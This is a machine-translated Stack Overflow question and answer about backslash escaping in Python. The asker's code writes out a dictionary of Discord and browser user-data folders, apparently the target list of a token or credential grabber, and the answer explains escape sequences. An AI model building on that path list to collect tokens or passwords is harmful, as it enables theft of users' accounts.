我有这个错误,我无法修复它。请帮帮我。!(错误的图像)
代码:
grb.write('PATHS = {\n')
grb.write(' "Discord" : ROAMING + "\\\Discord",\n')
grb.write(' "Discord Canary" : ROAMING + "\\\discordcanary",\n')
grb.write(' "Discord PTB" : ROAMING + "\\\discordptb",\n')
grb.write(' "Google Chrome" : LOCAL + "\\\Google\\\Chrome\\\User Data\\\Default",\n')
grb.write(' "Opera" : ROAMING + "\\\Opera Software\\\Opera Stable",\n')
grb.write(' "Brave" : LOCAL + "\\\BraveSoftware\\\Brave-Browser\\\User Data\\\Default",\n')
grb.write(' "Yandex" : LOCAL + "\\\Yandex\\\YandexBrowser\\\User Data\\\Default"\n')
grb.write('}\n')我期待有人在这方面帮助我。
发布于 2022-04-02 14:29:19
如果要在输出中使用双反斜杠,可以在字符串文本中使用四重反斜杠(\\\\)来获得\\,例如,如下所示(应用grb.write而不是print):
print(' "Google Chrome" : LOCAL + "\\\\Google\\\\Chrome\\\\User Data\\\\Default",\n')"Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
Explanation:String和Bytes文字
…反斜杠(
\)字符用于转义具有特殊意义的字符,如换行符、反斜杠本身或引号字符。… 除非存在r或R前缀,否则字符串和字节文本中的转义序列将按照与标准C使用的规则相似的规则解释。公认的转义序列如下: 转义序列意味着Notes \新行反斜杠和换行符忽略\反斜杠() \‘单引号(') \“双引号(") \a ASCII Bell (BEL) \x07 \b ASCII Backspace (BS) \x08 \fASCII Formfeed (FF) \x0c \n ASCII Linefeed (LF) \x0a \r ASCII载运返回(CR) \x0d \t ASCII水平Tab ( Tab ) \x09 \ value垂直Tab (VT) \x0b \ooo字符hh (2,3)十六进制字符 仅在字符串文本中可识别的转义序列如下: 转义序列意指Unicode数据库中命名的Notes \N{ name }字符(4) \uxxxx字符,16位十六进制值xxxx (5) \ xxxxxxxx字符,32位十六进制值xxxxxxxx (6) 备注:
与标准C不同,所有未识别的转义序列都保留在字符串中,即反斜杠留在结果中。
https://stackoverflow.com/questions/71715517
复制相似问题